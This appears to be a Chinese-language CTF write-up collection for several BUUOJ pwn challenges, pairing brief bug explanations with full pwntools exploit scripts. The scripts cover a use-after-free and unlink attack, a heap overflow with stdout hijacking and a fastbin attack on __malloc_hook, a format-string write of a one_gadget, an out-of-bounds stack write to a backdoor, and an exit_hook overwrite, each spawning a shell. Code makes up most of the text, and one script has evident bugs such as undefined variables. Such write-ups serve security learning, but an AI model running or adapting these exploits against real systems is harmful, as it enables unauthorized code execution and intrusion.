add
edit
只能编辑三次。
show
free
简单的uaf。
我们可以通过unlink来泄露地址,劫持free_hook。
要注意的是它自己写的一个输入函数。
要么就回车截断,要么就输入32个。所以我们在写exp的时候如果是32字节,就不要加回车,如果不够32个字节,就一定要加回车,不然输入是截断不了的。
先通过double free泄露地址,然后把heap_base + 0x10的chunk申请到。并且把heap_base再挂进去。
将heap_base + 0x10的地方拿回来,伪造好chunk,然后再次将heap_base申请回来伪造好chunk头,做一个unlink,目的是可以泄露libc地址,也可以顺便控制bss,劫持free_hook。
最后达到这样一个效果。
# -*- coding: utf-8 -*- from pwn import* context.log_level = "debug" r = process("./171") #r = remote("node3.buuoj.cn", "25155") elf = ELF("./171") libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6") #libc = ELF("./64/libc-2.23.so") def add(index, content): r.sendlineafter("Choice:", "1") r.sendlineafter("Index:", str(index)) r.sendafter("Content:", content) def edit(index, content): r.sendlineafter("Choice:", "2") r.sendlineafter("Index:", str(index)) r.sendafter("Content:", content) def show(index): r.sendlineafter("Choice:", "3") r.sendlineafter("Index:", str(index)) def delete(index): r.sendlineafter("Choice:", "4") r.sendlineafter("Index:", str(index)) bss_addr = 0x602060 add(0, (p64(0)+p64(0x31))*2) add(1, 'aaa\n') add(2, 'aaa\n') add(3, 'aaa\n') add(4, '/bin/sh\n') delete(0) delete(1) delete(0) show(0) heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x30 print "heap_base" + hex(heap_base) edit(0, p64(heap_base + 0x10)+'\n') add(5, p64(0) + p64(0x31) + p64(heap_base) + p64(bss_addr-0x10)) #把heap_base再次挂进bins中. payload = p64(bss_addr-0x18) + p64(bss_addr-0x10) + p64(0x20) + p64(0x90) add(6, payload) #伪造好chunk add(7, p64(0) + p64(0x21) + p64(bss_addr-0x18) + p64(bss_addr-0x10)) #上面把heap_base挂进来的原因就是在这里修改伪造的chunk的chunk头 delete(1) #然后把chunk 挂入unsorted bin中. show(6) malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff) libc_base = malloc_hook - libc.sym['__malloc_hook'] print "libc_addr = " + hex(libc_base) system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] edit(0, p64(0) * 3 + p64(free_hook)) edit(0, p64(system_addr) + '\n') delete(4) r.interactive()
add
edit
直接就堆溢出,一共可以edit四次。
就是一道简单的堆溢出,我们再次回顾一下堆溢出的思路。
堆溢出可以走uaf去攻击fastbin的路子,也可以走unlink的路子。
因为程序开了PIE,所以我们unlink不了,因为泄露不了程序基地址,所以我们还是泄露libc地址,然后攻击malloc_hook。
泄露libc地址因为没有show函数,所以只能通过劫持stdout来泄露地址。
exp
# -*- coding: utf-8 -*- from pwn import* context.log_level = "debug" r = process("./171") #r = remote("node3.buuoj.cn", "25155") elf = ELF("./171") libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6") #libc = ELF("./64/libc-2.23.so") _IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_'] def add(index, size, content): r.sendlineafter(">> ", "1") r.sendlineafter("Index :", str(index)) r.sendlineafter("size: ", str(size)) r.sendafter("Content:", content) def edit(index, content): r.sendlineafter(">> ", "2") r.sendlineafter("Index :", str(index)) r.sendlineafter("size: ", str(size)) r.sendafter("content: ", content) def delete(index): r.sendlineafter("Choice:", "3") r.sendlineafter("Index:", str(index)) def exp(): add(0, 0x18, 'pppp') add(1, 0xc8, 'p' * 0x68 + p64(0x61)) add(2, 0x68, 'pppp') add(3, 0x68, 'pppp') add(4, 0x68, 'pppp') delete(1) add(1,0xc8, '\xdd\x45') #这两个字节是分配一个0x7f的地方来绕过检查,顺便带着爆破 edit(0,0x20, 'p' * 0x18 + p64(0x71))#1 delete(2) delete(4) edit(3, len('p' * 0x68 + p64(0x71) + '\x20'), 'p' * 0x68 + p64(0x71) + '\x20') add(4,0x68,'pppp') add(2,0x68,'pppp') add(5,0x68, 'ppp' +p64(0) * 6 + p64(0xfbad1800) + p64(0)*3 + '\x00') #flag的不同会导致泄露出来的libc的值不同 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600 print(hex(libc.address)) malloc_hook = libc_base + libc.symbols['__malloc_hook'] system = libc_base + libc.symbols['system'] delete(3) delete(2) edit(0,len(0x18 * 'p' + p64(0x71) + p64(malloc_hook-0x23)),0x18* 'p'+p64(0x71)+p64(malloc_hook-0x23)) add(4,0x68,'/bin/sh\x00') add(5,0x68, 'p' * 0x13 + p64(libc_base + 0xf1147)) r.recvuntil('>> ') r.sendline('1') r.recvuntil('Index :') r.sendline('2') r.recvuntil('size: ') r.sendline('50') return True while True: try: global r r = process("./160") exp() r.interactive() except: r.close() print 'retrying...'
就是一道简单的格式化字符串。
方法多多,我们这里改的是malloc_hook为one_gadget
from pwn import* context.log_level = "debug" context.arch = "amd64" r = remote("node3.buuoj.cn", 28983) #r = process("./173") libc = ELF("./64/libc-2.23.so") r.sendline("%43$p") r.recvuntil("0x") libc_base = int(r.recv(12), 16) - 0x20830 malloc_hook = libc_base + libc.sym['__malloc_hook'] one_gadget = libc_base + 0x4526a print hex(libc_base) print hex(malloc_hook) print hex(one_gadget) byte1 = (one_gadget & 0xff) byte2 = ((one_gadget >> 8) & 0xff) byte3 = ((one_gadget >> 16) & 0xff) byte4 = ((one_gadget >> 24) & 0xff) byte5 = ((one_gadget >> 32) & 0xff) byte6 = ((one_gadget >> 40) & 0xff) addr1 = byte1 + 0x100 addr2 = byte2 - byte1 + 0x100 addr3 = byte3 - byte2 + 0x100 addr4 = byte4 - byte3 + 0x100 addr5 = byte5 - byte4 + 0x100 addr6 = byte6 - byte5 + 0x100 payload1 = "" payload1 += "%{}c".format(addr1)+"%15$hhn" payload1 += "%{}c".format(addr2)+"%16$hhn" payload1 += "%{}c".format(addr3)+"%17$hhn" payload1 += "%{}c".format(addr4)+"%18$hhn" payload1 += "%{}c".format(addr5)+"%19$hhn" payload1 += "%{}c".format(addr6)+"%20$hhn" payload1 += p64(malloc_hook) payload1 += p64(malloc_hook + 1) payload1 += p64(malloc_hook + 2) payload1 += p64(malloc_hook + 3) payload1 += p64(malloc_hook + 4) payload1 += p64(malloc_hook + 5) sleep(1) r.sendline(payload1) sleep(1) payload2 = "%100000c" r.sendline(payload2) r.interactive()
后门有了。
问题出在这个地方,v5没有限制,存在数组越界。
v13是栈上的地址,所以我们直接把返回地址改成后门函数就行。
但是我们要注意v13的数组是char,所以我们要写四次,一次一个字节。
exp
from pwn import* r = remote('node3.buuoj.cn','31725') def write_addr(addr,va): r.sendline("3") r.recvuntil("which number to change:\n") r.sendline(str(addr)) r.recvuntil("new number:\n") r.sendline(str(va)) r.recvuntil("5. exit\n") r.recvuntil("How many numbers you have:\n") r.sendline("1") r.recvuntil("Give me your numbers\n") r.sendline("1") r.recvuntil("5. exit\n") system_addr=0x080485AF leave_offset=0x84 write_addr(leave_offset,0XAF) write_addr(leave_offset+1,0X85) write_addr(leave_offset+2,0X04) write_addr(leave_offset+3,0X08) r.sendline("5") r.interactive()
add
C 库函数 long int strtol(const char *str, char **endptr, int base) 把参数 str 所指向的字符串根据给定的 base 转换为一个长整数(类型为 long int 型),base 必须介于 2 和 36(包含)之间,或者是特殊值 0。
edit
add与edit的name都可以溢出,直接覆盖下个指针,然后达到利用效果。
show
后门
直接给出puts函数地址。
我们想着能够有溢出来达到一个uaf的效果,因为RELRO全开,不能劫持got表,那么我们需要劫持hook。malloc只用一次,没有free函数,所以两个hook都不可以。那我们考虑劫持edit_hook。当我们异常退出的时候,会调用exit_hook,然后getshell。
要注意exit_hook
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
exp
from pwn import* context.log_level = "debug" r = remote("node3.buuoj.cn", 29247) libc = ELF("./64/libc-2.23.so") def add(name): r.sendlineafter("Your choice-> \n", "1") r.sendlineafter("Length: \n", str(0x30)) r.sendafter("name:\n", name) #be careful of read def edit(content): r.sendlineafter("Your choice-> \n", "2") r.sendlineafter("name:\n", "aaaa") r.sendlineafter("contents:\n", content) r.sendlineafter("Your choice-> \n", "666") r.recvuntil("0x") puts_addr = int(r.recv(12), 16) libc_base = puts_addr - libc.sym['puts'] one_gadget = libc_base + 0xf1147 exit_hook = libc_base+0x5f0040+3848 print "puts_addr = " + hex(puts_addr) print "libc_base = " + hex(libc_base) print "exit_hook = " + hex(exit_hook) payload = "a" * 8 + p64(exit_hook) add(payload) edit(p64(one_gadget)) sleep(1) r.sendline("a") r.interactive()